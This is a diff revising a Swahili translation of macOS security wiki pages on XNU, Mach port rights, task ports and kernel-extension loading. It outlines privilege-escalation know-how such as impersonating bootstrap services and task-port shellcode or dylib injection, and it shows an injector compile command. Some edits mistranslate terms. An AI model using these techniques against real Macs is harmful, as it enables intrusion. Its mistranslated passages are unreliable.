diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 2d66cf4e1..527377ce0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,32 +4,32 @@ ## XNU Kernel -**Msingi wa macOS ni XNU**, ambayo inasimama kwa "X is Not Unix". Kernel hii kimsingi inajumuisha **Mach microkernel** (itaongelewa baadaye), **na** vipengele kutoka Berkeley Software Distribution (**BSD**). XNU pia inatoa jukwaa kwa **madereva ya kernel kupitia mfumo unaoitwa I/O Kit**. Kernel ya XNU ni sehemu ya mradi wa wazi wa chanzo wa Darwin, ambayo inamaanisha **kanuni yake ya chanzo inapatikana bure**. +**Msingi wa macOS ni XNU**, ambayo inasimama kwa "X is Not Unix". Kernel hii kimsingi inajumuisha **Mach microkernel** (itajadiliwa baadaye), **na** vipengele kutoka Berkeley Software Distribution (**BSD**). XNU pia inatoa jukwaa kwa **madereva ya kernel kupitia mfumo unaoitwa I/O Kit**. Kernel ya XNU ni sehemu ya mradi wa wazi wa chanzo wa Darwin, ambayo inamaanisha **kanuni yake ya chanzo inapatikana bure**. -Kutoka kwa mtazamo wa mtafiti wa usalama au mendelezo wa Unix, **macOS** inaweza kuonekana kuwa **kama** mfumo wa **FreeBSD** wenye GUI nzuri na idadi ya programu za kawaida. Programu nyingi zilizotengenezwa kwa BSD zitakusanywa na kuendesha kwenye macOS bila kuhitaji marekebisho, kwani zana za amri zinazojulikana kwa watumiaji wa Unix zipo zote kwenye macOS. Hata hivyo, kwa sababu kernel ya XNU inajumuisha Mach, kuna tofauti kubwa kati ya mfumo wa jadi wa Unix na macOS, na tofauti hizi zinaweza kusababisha matatizo ya uwezekano au kutoa faida za kipekee. +Kutoka kwa mtazamo wa mtafiti wa usalama au mendelezo wa Unix, **macOS** inaweza kuonekana kuwa **kama** mfumo wa **FreeBSD** wenye GUI nzuri na programu nyingi za kawaida. Programu nyingi zilizotengenezwa kwa BSD zitakusanywa na kuendesha kwenye macOS bila kuhitaji marekebisho, kwani zana za amri zinazojulikana kwa watumiaji wa Unix zipo zote kwenye macOS. Hata hivyo, kwa sababu kernel ya XNU inajumuisha Mach, kuna tofauti kubwa kati ya mfumo wa jadi wa Unix na macOS, na tofauti hizi zinaweza kusababisha matatizo ya uwezekano au kutoa faida za kipekee. Toleo la wazi la XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach ni **microkernel** iliyoundwa kuwa **UNIX-inayofaa**. Moja ya kanuni zake kuu za muundo ilikuwa **kupunguza** kiasi cha **kanuni** inayotumika katika **nafasi ya kernel** na badala yake kuruhusu kazi nyingi za kawaida za kernel, kama vile mfumo wa faili, mtandao, na I/O, **kufanya kazi kama kazi za ngazi ya mtumiaji**. +Mach ni **microkernel** iliyoundwa kuwa **UNIX-inayofaa**. Moja ya kanuni zake kuu za kubuni ilikuwa **kupunguza** kiasi cha **kanuni** inayotembea katika **nafasi ya kernel** na badala yake kuruhusu kazi nyingi za kawaida za kernel, kama vile mfumo wa faili, mtandao, na I/O, **kufanya kazi kama kazi za ngazi ya mtumiaji**. Katika XNU, Mach ni **responsible kwa shughuli nyingi muhimu za kiwango cha chini** ambazo kernel kwa kawaida inashughulikia, kama vile kupanga ratiba ya processor, multitasking, na usimamizi wa kumbukumbu ya virtual. ### BSD -Kernel ya XNU pia **inajumuisha** kiasi kikubwa cha kanuni inayotokana na mradi wa **FreeBSD**. Kanuni hii **inafanya kazi kama sehemu ya kernel pamoja na Mach**, katika nafasi moja ya anwani. Hata hivyo, kanuni ya FreeBSD ndani ya XNU inaweza kutofautiana kwa kiasi kikubwa na kanuni ya asili ya FreeBSD kwa sababu marekebisho yalihitajika kuhakikisha ufanisi wake na Mach. FreeBSD inachangia katika shughuli nyingi za kernel ikiwa ni pamoja na: +Kernel ya XNU pia **inajumuisha** kiasi kikubwa cha kanuni inayotokana na mradi wa **FreeBSD**. Kanuni hii **inasimama kama sehemu ya kernel pamoja na Mach**, katika nafasi moja ya anwani. Hata hivyo, kanuni ya FreeBSD ndani ya XNU inaweza kutofautiana sana na kanuni ya asili ya FreeBSD kwa sababu marekebisho yalihitajika kuhakikisha ufanisi wake na Mach. FreeBSD inachangia katika shughuli nyingi za kernel ikiwa ni pamoja na: - Usimamizi wa mchakato - Kushughulikia ishara - Mekanismu za msingi za usalama, ikiwa ni pamoja na usimamizi wa mtumiaji na kikundi - Miundombinu ya wito wa mfumo -- TCP/IP stack na soketi -- Firewall na kuchuja pakiti +- TCP/IP stack na sockets +- Firewall na uchujaji wa pakiti Kuelewa mwingiliano kati ya BSD na Mach kunaweza kuwa ngumu, kutokana na mifumo yao tofauti ya dhana. Kwa mfano, BSD inatumia michakato kama kitengo chake cha msingi cha utekelezaji, wakati Mach inafanya kazi kwa msingi wa nyuzi. Tofauti hii inarekebishwa katika XNU kwa **kuunganisha kila mchakato wa BSD na kazi ya Mach** ambayo ina nyuzi moja tu ya Mach. Wakati wito wa mfumo wa fork() wa BSD unapotumika, kanuni ya BSD ndani ya kernel inatumia kazi za Mach kuunda kazi na muundo wa nyuzi. -Zaidi ya hayo, **Mach na BSD kila mmoja ina mifano tofauti za usalama**: mfano wa usalama wa **Mach** unategemea **haki za bandari**, wakati mfano wa usalama wa BSD unafanya kazi kwa msingi wa **umiliki wa mchakato**. Tofauti kati ya mifano hii miwili mara nyingine imesababisha udhaifu wa kupanda kwa haki za ndani. Mbali na wito wa kawaida wa mfumo, pia kuna **Mach traps zinazoruhusu programu za nafasi ya mtumiaji kuingiliana na kernel**. Vipengele hivi tofauti pamoja vinaunda usanifu wa kipekee, wa mchanganyiko wa kernel ya macOS. +Zaidi ya hayo, **Mach na BSD kila mmoja ina mifano tofauti ya usalama**: mfano wa usalama wa **Mach** unategemea **haki za bandari**, wakati mfano wa usalama wa BSD unafanya kazi kwa msingi wa **umiliki wa mchakato**. Tofauti kati ya mifano hii miwili mara nyingine imesababisha udhaifu wa kupanda kwa haki za ndani. Mbali na wito wa kawaida wa mfumo, pia kuna **Mach traps zinazoruhusu programu za nafasi ya mtumiaji kuingiliana na kernel**. Vipengele hivi tofauti pamoja vinaunda usanifu wa kipekee, wa mchanganyiko wa kernel ya macOS. ### I/O Kit - Drivers @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -Badala ya kutumia Extensions za Kernel, macOS iliumba System Extensions, ambayo inatoa APIs za ngazi ya mtumiaji kuingiliana na kernel. Kwa njia hii, waendelezaji wanaweza kuepuka kutumia extensions za kernel. +Badala ya kutumia Extensions za Kernel, macOS iliumba Extensions za Mfumo, ambazo zinatoa APIs za ngazi ya mtumiaji kuingiliana na kernel. Kwa njia hii, waendelezaji wanaweza kuepuka kutumia extensions za kernel. {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 84b84aac1..d2eb27a9f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -18,12 +18,12 @@ Mchakato pia unaweza kutuma jina la bandari pamoja na haki fulani **kwa kazi tof Haki za bandari, ambazo zinaelezea ni shughuli zipi kazi inaweza kufanya, ni muhimu kwa mawasiliano haya. Haki zinazowezekana za **bandari** ni ([mafafanuo kutoka hapa](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Haki ya Kupokea**, ambayo inaruhusu kupokea ujumbe uliopelekwa kwa bandari. Bandari za Mach ni MPSC (mzalishaji-mwingi, mtumiaji-mmoja) foleni, ambayo ina maana kwamba kunaweza kuwa na **haki moja tu ya kupokea kwa kila bandari** katika mfumo mzima (kinyume na mabomba, ambapo michakato mingi inaweza kuwa na viashiria vya faili kwa mwisho wa kusoma wa bomba moja). +- **Haki ya Kupokea**, ambayo inaruhusu kupokea ujumbe uliopelekwa kwa bandari. Bandari za Mach ni MPSC (mzalishaji-mwingi, mtumiaji-mmoja) foleni, ambayo inamaanisha kuwa kunaweza kuwa na **haki moja ya kupokea kwa kila bandari** katika mfumo mzima (kinyume na mabomba, ambapo michakato mingi inaweza kushikilia viashiria vya faili kwa mwisho wa kusoma wa bomba moja). - **Kazi yenye Haki ya Kupokea** inaweza kupokea ujumbe na **kuunda Haki za Kutuma**, ikiruhusu kutuma ujumbe. Awali, tu **kazi yake mwenyewe ina Haki ya Kupokea juu ya bandari yake**. - **Haki ya Kutuma**, ambayo inaruhusu kutuma ujumbe kwa bandari. - Haki ya Kutuma inaweza **kuigwa** hivyo kazi inayomiliki Haki ya Kutuma inaweza kuiga haki hiyo na **kuipatia kazi ya tatu**. - **Haki ya Kutuma-mara moja**, ambayo inaruhusu kutuma ujumbe mmoja kwa bandari na kisha inatoweka. -- **Haki ya Seti ya Bandari**, ambayo inaashiria _seti ya bandari_ badala ya bandari moja. Kuondoa ujumbe kutoka kwa seti ya bandari kunamaanisha kuondoa ujumbe kutoka kwa moja ya bandari inazozishikilia. Seti za bandari zinaweza kutumika kusikiliza kwenye bandari kadhaa kwa wakati mmoja, kama vile `select`/`poll`/`epoll`/`kqueue` katika Unix. +- **Haki ya Seti ya Bandari**, ambayo inaashiria _seti ya bandari_ badala ya bandari moja. Kuondoa ujumbe kutoka kwa seti ya bandari kunamaanisha kuondoa ujumbe kutoka kwa moja ya bandari inazozishikilia. Seti za bandari zinaweza kutumika kusikiliza kwenye bandari kadhaa kwa wakati mmoja, kama `select`/`poll`/`epoll`/`kqueue` katika Unix. - **Jina la Kufa**, ambalo si haki halisi ya bandari, bali ni tu nafasi ya kuweka. Wakati bandari inaharibiwa, haki zote zilizopo za bandari kwa bandari hiyo zinageuka kuwa majina ya kufa. **Kazi zinaweza kuhamasisha Haki za KUTUMA kwa wengine**, na kuwapa uwezo wa kutuma ujumbe nyuma. **Haki za KUTUMA pia zinaweza kuigwa, hivyo kazi inaweza kuiga na kutoa haki hiyo kwa kazi ya tatu**. Hii, pamoja na mchakato wa kati unaojulikana kama **seva ya bootstrap**, inaruhusu mawasiliano bora kati ya kazi. @@ -41,29 +41,29 @@ Kama ilivyotajwa, ili kuanzisha njia ya mawasiliano, **seva ya bootstrap** (**la 1. Kazi **A** inaanzisha **bandari mpya**, ikipata **haki ya KUPOKEA** katika mchakato. 2. Kazi **A**, ikiwa ni mmiliki wa haki ya KUPOKEA, **inazalisha haki ya KUTUMA kwa bandari**. 3. Kazi **A** inaweka **kiunganishi** na **seva ya bootstrap**, ikitoa **jina la huduma ya bandari** na **haki ya KUTUMA** kupitia utaratibu unaojulikana kama usajili wa bootstrap. -4. Kazi **B** inashirikiana na **seva ya bootstrap** ili kutekeleza **kuangalia huduma** kwa jina. Ikiwa inafanikiwa, **seva inakopya haki ya KUTUMA** iliyopokelewa kutoka Kazi A na **kupeleka kwa Kazi B**. -5. Baada ya kupata haki ya KUTUMA, Kazi **B** inaweza **kuunda** ujumbe na kupeleka **kwa Kazi A**. +4. Kazi **B** inashirikiana na **seva ya bootstrap** ili kutekeleza **kuangalia huduma** kwa jina. Ikiwa inafanikiwa, **seva inakopi haki ya KUTUMA** iliyopokelewa kutoka Kazi A na **kuhamasisha kwa Kazi B**. +5. Baada ya kupata haki ya KUTUMA, Kazi **B** ina uwezo wa **kuunda** ujumbe na kuutuma **kwa Kazi A**. 6. Kwa mawasiliano ya pande mbili, kawaida kazi **B** inaunda bandari mpya yenye haki ya **KUPOKEA** na haki ya **KUTUMA**, na inampa **haki ya KUTUMA kwa Kazi A** ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande mbili). -Seva ya bootstrap **haiwezi kuthibitisha** jina la huduma linalodaiwa na kazi. Hii ina maana kwamba **kazi** inaweza kwa urahisi **kujifanya kama kazi yoyote ya mfumo**, kama vile kudai kwa uwongo jina la huduma ya idhini na kisha kuidhinisha kila ombi. +Seva ya bootstrap **haiwezi kuthibitisha** jina la huduma linalodaiwa na kazi. Hii inamaanisha kuwa **kazi** inaweza kuweza **kujifanya kuwa kazi yoyote ya mfumo**, kama kudai kwa uwongo jina la huduma ya idhini na kisha kuidhinisha kila ombi. -Kisha, Apple inahifadhi **majina ya huduma zinazotolewa na mfumo** katika faili za usanidi salama, zilizoko katika **directories zilizolindwa na SIP**: `/System/Library/LaunchDaemons` na `/System/Library/LaunchAgents`. Pamoja na kila jina la huduma, **binary inayohusiana pia huhifadhiwa**. Seva ya bootstrap, itaunda na kushikilia **haki ya KUPOKEA kwa kila moja ya majina haya ya huduma**. +Kisha, Apple inahifadhi **majina ya huduma zinazotolewa na mfumo** katika faili za usanidi salama, zilizoko katika **directories zilizolindwa na SIP**: `/System/Library/LaunchDaemons` na `/System/Library/LaunchAgents`. Pamoja na kila jina la huduma, **binary inayohusiana pia inahifadhiwa**. Seva ya bootstrap, itaunda na kushikilia **haki ya KUPOKEA kwa kila moja ya majina haya ya huduma**. -Kwa huduma hizi zilizowekwa awali, **mchakato wa kuangalia unabadilika kidogo**. Wakati jina la huduma linatafutwa, launchd inaanzisha huduma hiyo kwa njia ya kidinamik. Mchakato mpya ni kama ifuatavyo: +Kwa huduma hizi zilizopangwa, **mchakato wa kuangalia unabadilika kidogo**. Wakati jina la huduma linatafutwa, launchd inaanzisha huduma hiyo kwa njia ya kidinari. Mchakato mpya ni kama ifuatavyo: - Kazi **B** inaanzisha **kuangalia** kwa jina la huduma. - **launchd** inakagua ikiwa kazi inafanya kazi na ikiwa haifanyi, **inaanzisha**. -- Kazi **A** (huduma) inafanya **kujiandikisha kwa bootstrap**. Hapa, seva ya **bootstrap** inaunda haki ya KUTUMA, inashikilia hiyo, na **inapeleka haki ya KUPOKEA kwa Kazi A**. -- launchd inakopya **haki ya KUTUMA na kupeleka kwa Kazi B**. +- Kazi **A** (huduma) inafanya **kuangalia kwa bootstrap**. Hapa, seva ya **bootstrap** inaunda haki ya KUTUMA, inashikilia, na **kuhamasisha haki ya KUPOKEA kwa Kazi A**. +- launchd inakopi **haki ya KUTUMA na kuhamasisha kwa Kazi B**. - Kazi **B** inaunda bandari mpya yenye haki ya **KUPOKEA** na haki ya **KUTUMA**, na inampa **haki ya KUTUMA kwa Kazi A** (huduma) ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande mbili). -Hata hivyo, mchakato huu unatumika tu kwa kazi za mfumo zilizowekwa awali. Kazi zisizo za mfumo bado zinafanya kazi kama ilivyoelezwa awali, ambayo inaweza kuruhusu kujifanya. +Hata hivyo, mchakato huu unatumika tu kwa kazi za mfumo zilizopangwa. Kazi zisizo za mfumo bado zinafanya kazi kama ilivyoelezwa awali, ambayo inaweza kuruhusu kujifanya. ### Ujumbe wa Mach [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -Kazi ya `mach_msg`, kimsingi ni wito wa mfumo, inatumika kwa kutuma na kupokea ujumbe wa Mach. Kazi hii inahitaji ujumbe utakaotumwa kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa `mach_msg_header_t`, ukifuatwa na maudhui halisi ya ujumbe. Muundo umefafanuliwa kama ifuatavyo: +Kazi ya `mach_msg`, kimsingi ni wito wa mfumo, inatumika kutuma na kupokea ujumbe wa Mach. Kazi hii inahitaji ujumbe utakaotumwa kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa `mach_msg_header_t`, ukifuatwa na maudhui halisi ya ujumbe. Muundo umefafanuliwa kama ifuatavyo: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -79,7 +79,7 @@ Mchakato unaomiliki _**kupokea haki**_ unaweza kupokea ujumbe kwenye bandari ya Ili kufikia **mawasiliano ya pande mbili** kwa urahisi, mchakato unaweza kubainisha **bandari ya mach** katika **kichwa cha ujumbe** kinachoitwa _bandari ya majibu_ (**`msgh_local_port`**) ambapo **mpokeaji** wa ujumbe anaweza **kutuma jibu** kwa ujumbe huu. Bitflags katika **`msgh_bits`** zinaweza kutumika ku **onyesha** kwamba **haki ya tuma-mara-moja** inapaswa kutolewa na kuhamishwa kwa bandari hii (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Kumbuka kwamba aina hii ya mawasiliano ya pande mbili inatumika katika ujumbe wa XPC ambao unatarajia replay (`xpc_connection_send_message_with_reply` na `xpc_connection_send_message_with_reply_sync`). Lakini **kwa kawaida bandari tofauti zinaundwa** kama ilivyoelezwa hapo awali ili kuunda mawasiliano ya pande mbili. +> Kumbuka kwamba aina hii ya mawasiliano ya pande mbili inatumika katika ujumbe za XPC zinazotarajia jibu (`xpc_connection_send_message_with_reply` na `xpc_connection_send_message_with_reply_sync`). Lakini **kwa kawaida bandari tofauti zinaanzishwa** kama ilivyoelezwa hapo awali ili kuunda mawasiliano ya pande mbili. Sehemu nyingine za kichwa cha ujumbe ni: @@ -89,7 +89,7 @@ Sehemu nyingine za kichwa cha ujumbe ni: - `msgh_id`: ID ya ujumbe huu, ambayo inatafsiriwa na mpokeaji. > [!CAUTION] -> Kumbuka kwamba **ujumbe wa mach unatumwa kupitia \_bandari ya mach**\_, ambayo ni **mpokeaji mmoja**, **watumaji wengi** njia ya mawasiliano iliyojengwa ndani ya kernel ya mach. **Mchakato wengi** wanaweza **kutuma ujumbe** kwa bandari ya mach, lakini kwa wakati wowote mchakato mmoja tu unaweza **kusoma** kutoka kwake. +> Kumbuka kwamba **ujumbe za mach zinatumwa kupitia \_bandari ya mach**\_, ambayo ni **mpokeaji mmoja**, **watumaji wengi** njia ya mawasiliano iliyojengwa ndani ya kernel ya mach. **Mchakato wengi** wanaweza **kutuma ujumbe** kwa bandari ya mach, lakini wakati wowote mchakato mmoja tu unaweza **kusoma** kutoka kwake. ### Orodhesha bandari ```bash @@ -227,16 +227,16 @@ printf("Sent a message\n"); ### Bandari za Kipekee -- **Bandari ya mwenyeji**: Ikiwa mchakato una **Haki ya Kutuma** juu ya bandari hii anaweza kupata **taarifa** kuhusu **mfumo** (mfano `host_processor_info`). -- **Bandari ya haki ya mwenyeji**: Mchakato wenye **Haki ya Kutuma** juu ya bandari hii unaweza kufanya **vitendo vya kipekee** kama kupakia nyongeza ya kernel. **Mchakato unahitaji kuwa mzizi** ili kupata ruhusa hii. +- **Bandari ya mwenyeji**: Ikiwa mchakato una **Send** ruhusa juu ya bandari hii anaweza kupata **habari** kuhusu **mfumo** (mfano `host_processor_info`). +- **Bandari ya ruhusa ya mwenyeji**: Mchakato wenye **Send** haki juu ya bandari hii unaweza kufanya **vitendo vya kipekee** kama kupakia nyongeza ya kernel. **Mchakato unahitaji kuwa root** ili kupata ruhusa hii. - Zaidi ya hayo, ili kuita **`kext_request`** API inahitajika kuwa na haki nyingine **`com.apple.private.kext*`** ambazo zinatolewa tu kwa binaries za Apple. - **Bandari ya jina la kazi:** Toleo lisilo na haki la _bandari ya kazi_. Inarejelea kazi, lakini haiwezeshi kudhibiti. Kitu pekee kinachonekana kupatikana kupitia hiyo ni `task_info()`. -- **Bandari ya kazi** (pia inajulikana kama bandari ya kernel)**:** Kwa ruhusa ya Kutuma juu ya bandari hii inawezekana kudhibiti kazi (kusoma/kandika kumbukumbu, kuunda nyuzi...). -- Piga `mach_task_self()` ili **kupata jina** la bandari hii kwa kazi ya mpiga simu. Bandari hii ni **inas inherit** kupitia **`exec()`**; kazi mpya iliyoundwa kwa `fork()` inapata bandari mpya ya kazi (kama kesi maalum, kazi pia inapata bandari mpya ya kazi baada ya `exec()` katika binary ya suid). Njia pekee ya kuanzisha kazi na kupata bandari yake ni kufanya ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) wakati wa kufanya `fork()`. +- **Bandari ya kazi** (pia inajulikana kama bandari ya kernel)**:** Kwa ruhusa ya Send juu ya bandari hii inawezekana kudhibiti kazi (kusoma/kandika kumbukumbu, kuunda nyuzi...). +- Piga `mach_task_self()` ili **kupata jina** la bandari hii kwa kazi ya mpiga simu. Bandari hii ni **inherited** tu kupitia **`exec()`**; kazi mpya iliyoundwa kwa `fork()` inapata bandari mpya ya kazi (kama kesi maalum, kazi pia inapata bandari mpya ya kazi baada ya `exec()` katika binary ya suid). Njia pekee ya kuanzisha kazi na kupata bandari yake ni kufanya ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) wakati wa kufanya `fork()`. - Hizi ndizo vizuizi vya kufikia bandari (kutoka `macos_task_policy` kutoka binary `AppleMobileFileIntegrity`): -- Ikiwa programu ina **`com.apple.security.get-task-allow` entitlement** mchakato kutoka **mtumiaji yule yule wanaweza kufikia bandari ya kazi** (kawaida huongezwa na Xcode kwa ajili ya ufuatiliaji). Mchakato wa **notarization** hautaruhusu kwa toleo la uzalishaji. -- Programu zenye **`com.apple.system-task-ports`** entitlement zinaweza kupata **bandari ya kazi kwa mchakato wowote**, isipokuwa kernel. Katika toleo za zamani ilijulikana kama **`task_for_pid-allow`**. Hii inatolewa tu kwa programu za Apple. -- **Mzizi anaweza kufikia bandari za kazi** za programu **zisizokamilishwa** na **runtime iliyoimarishwa** (na sio kutoka Apple). +- Ikiwa programu ina **`com.apple.security.get-task-allow` ruhusa** mchakato kutoka **mtumiaji yule yule wanaweza kufikia bandari ya kazi** (kawaida huongezwa na Xcode kwa ajili ya ufuatiliaji). Mchakato wa **notarization** hautaruhusu kwa toleo la uzalishaji. +- Programu zenye **`com.apple.system-task-ports`** ruhusa zinaweza kupata **bandari ya kazi kwa mchakato wowote**, isipokuwa kernel. Katika toleo za zamani ilijulikana kama **`task_for_pid-allow`**. Hii inatolewa tu kwa programu za Apple. +- **Root anaweza kufikia bandari za kazi** za programu **zisizokamilishwa** na **runtime iliyoimarishwa** (na sio kutoka Apple). ### Uingizaji wa Shellcode katika nyuzi kupitia Bandari ya Kazi @@ -500,13 +500,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ``` ### Dylib Injection katika thread kupitia Task port -Katika macOS **threads** zinaweza kudhibitiwa kupitia **Mach** au kutumia **posix `pthread` api**. Thread tuliyoitengeneza katika sindano ya awali, ilitengenezwa kwa kutumia Mach api, hivyo **siyo ya posix compliant**. +Katika macOS **threads** zinaweza kudhibitiwa kupitia **Mach** au kutumia **posix `pthread` api**. Thread tuliyoitengeneza katika sindano ya awali, ilitengenezwa kwa kutumia Mach api, hivyo **siyo ya posix**. -Ilikuwa inawezekana **kuiingiza shellcode rahisi** ili kutekeleza amri kwa sababu **haikuhitaji kufanya kazi na apis za posix** zinazokubalika, bali tu na Mach. **Mingine ya kuingiza** itahitaji **thread** pia iwe **posix compliant**. +Ilikuwa inawezekana **kuiingiza shellcode rahisi** ili kutekeleza amri kwa sababu **haikuhitaji kufanya kazi na posix** zinazokubalika, bali tu na Mach. **Kuingiza kwa hali ngumu zaidi** kutahitaji **thread** pia iwe **ya posix**. Hivyo, ili **kuboresha thread** inapaswa kuita **`pthread_create_from_mach_thread`** ambayo itaunda **pthread halali**. Kisha, hii pthread mpya inaweza **kuita dlopen** ili **kupakia dylib** kutoka mfumo, hivyo badala ya kuandika shellcode mpya ili kutekeleza vitendo tofauti, inawezekana kupakia maktaba maalum. -Unaweza kupata **esempe dylibs** katika (kwa mfano ile inayozalisha log na kisha unaweza kuisikiliza): +Unaweza kupata **esemble dylibs** katika (kwa mfano ile inayozalisha log na kisha unaweza kuisikiliza): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -802,9 +802,9 @@ Katika mbinu hii, nyuzi ya mchakato inatekwa: ### Taarifa za Msingi -XPC, ambayo inasimama kwa XNU (kernel inayotumiwa na macOS) mawasiliano kati ya Mchakato, ni mfumo wa **mawasiliano kati ya michakato** kwenye macOS na iOS. XPC inatoa mekanizma ya kufanya **kuitana kwa njia salama, zisizo za kawaida kati ya michakato tofauti** kwenye mfumo. Ni sehemu ya mtindo wa usalama wa Apple, ikiruhusu **kuundwa kwa programu zenye ruhusa tofauti** ambapo kila **kipengele** kinakimbia na **ruhusa pekee inayoihitaji** kufanya kazi yake, hivyo kupunguza uharibifu unaoweza kutokea kutokana na mchakato ulioathirika. +XPC, ambayo inasimama kwa XNU (kernel inayotumiwa na macOS) mawasiliano kati ya Mchakato, ni mfumo wa **mawasiliano kati ya michakato** kwenye macOS na iOS. XPC inatoa mekanizma ya kufanya **kuitana kwa njia salama, zisizo za wakati mmoja kati ya michakato tofauti** kwenye mfumo. Ni sehemu ya mtindo wa usalama wa Apple, ikiruhusu **kuundwa kwa programu zenye ruhusa tofauti** ambapo kila **kipengele** kinakimbia na **ruhusa pekee inayoihitaji** kufanya kazi yake, hivyo kupunguza uharibifu unaoweza kutokea kutokana na mchakato ulioathirika. -Kwa maelezo zaidi kuhusu jinsi **mawasiliano haya yanavyofanya kazi** na jinsi **yanavyoweza kuwa na udhaifu**, angalia: +Kwa maelezo zaidi kuhusu jinsi **mawasiliano haya yanavyofanya kazi** na jinsi **yanavyoweza kuwa na udhaifu** angalia: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index ed1471ffc..929df1154 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -8,25 +8,25 @@ Kernel extensions (Kexts) ni **packages** zenye **`.kext`** extension ambazo zin ### Requirements -Kwa wazi, hii ni nguvu sana kiasi kwamba ni **ngumu kupakia kernel extension**. Hizi ndizo **requirements** ambazo kernel extension lazima ikidhi ili ipakie: +Kwa wazi, hii ni nguvu sana kiasi kwamba ni **ngumu kupakia kernel extension**. Hizi ndizo **mahitaji** ambayo kernel extension inapaswa kukidhi ili ipakie: - Wakati wa **kuingia kwenye recovery mode**, kernel **extensions lazima ziaruhusiwe** kupakiwa:
-- Kernel extension lazima iwe **signed with a kernel code signing certificate**, ambayo inaweza tu **kupewa na Apple**. Nani atakayeangalia kwa undani kampuni na sababu zinazohitajika. +- Kernel extension lazima iwe **imesainiwa na cheti cha kernel code signing**, ambacho kinaweza tu **kupewa na Apple**. Nani atakayeangalia kwa undani kampuni na sababu zinazohitajika. - Kernel extension lazima pia iwe **notarized**, Apple itakuwa na uwezo wa kuangalia kwa malware. - Kisha, mtumiaji wa **root** ndiye anayeweza **kupakia kernel extension** na faili ndani ya package lazima **zihusiane na root**. - Wakati wa mchakato wa kupakia, package lazima iwe tayari katika **mahali salama yasiyo ya root**: `/Library/StagedExtensions` (inahitaji `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Hatimaye, wakati wa kujaribu kuipakia, mtumiaji atapokea [**ombile la uthibitisho**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) na, ikiwa itakubaliwa, kompyuta lazima **irejeshwe** ili kuipakia. +- Hatimaye, wakati wa kujaribu kuipakia, mtumiaji atapokea [**ombile la uthibitisho**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) na, ikiwa itakubaliwa, kompyuta lazima **irejeshwe** ili ipakie. ### Loading process -Katika Catalina ilikuwa hivi: Ni muhimu kutaja kwamba mchakato wa **verification** unafanyika katika **userland**. Hata hivyo, ni programu pekee zenye **`com.apple.private.security.kext-management`** grant zinaweza **kuomba kernel kupakia extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Katika Catalina ilikuwa hivi: Ni muhimu kutaja kwamba mchakato wa **uthibitishaji** unafanyika katika **userland**. Hata hivyo, ni programu pekee zenye **`com.apple.private.security.kext-management`** grant zinaweza **kuomba kernel kupakia extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **inaanza** mchakato wa **verification** wa kupakia extension +1. **`kextutil`** cli **inaanza** mchakato wa **uthibitishaji** wa kupakia extension - Itazungumza na **`kextd`** kwa kutuma kwa kutumia **Mach service**. -2. **`kextd`** itakagua mambo kadhaa, kama vile **signature** +2. **`kextd`** itakagua mambo kadhaa, kama vile **saini** - Itazungumza na **`syspolicyd`** ili **kuangalia** ikiwa extension inaweza **kupakiwa**. 3. **`syspolicyd`** itamwomba **mtumiaji** ikiwa extension haijawahi kupakiwa hapo awali. - **`syspolicyd`** itaripoti matokeo kwa **`kextd`** @@ -45,9 +45,9 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ## Kernelcache > [!CAUTION] -> Ingawa nyongeza za kernel zinatarajiwa kuwa katika `/System/Library/Extensions/`, ukitembelea folda hii **hutapata binary yoyote**. Hii ni kwa sababu ya **kernelcache** na ili kubadilisha moja ya `.kext` unahitaji kupata njia ya kuipata. +> Ingawa nyongeza za kernel zinatarajiwa kuwa katika `/System/Library/Extensions/`, ukitembea kwenye folda hii **hutapata binary yoyote**. Hii ni kwa sababu ya **kernelcache** na ili kubadilisha moja ya `.kext` unahitaji kupata njia ya kuipata. -**Kernelcache** ni **toleo lililotayarishwa na kuunganishwa la kernel ya XNU**, pamoja na **madereva** muhimu na **nyongeza za kernel**. Inahifadhiwa katika muundo wa **kushinikizwa** na inachukuliwa kutoka kwenye kumbukumbu wakati wa mchakato wa kuanzisha. Kernelcache inarahisisha **wakati wa kuanzisha haraka** kwa kuwa na toleo lililo tayari la kernel na 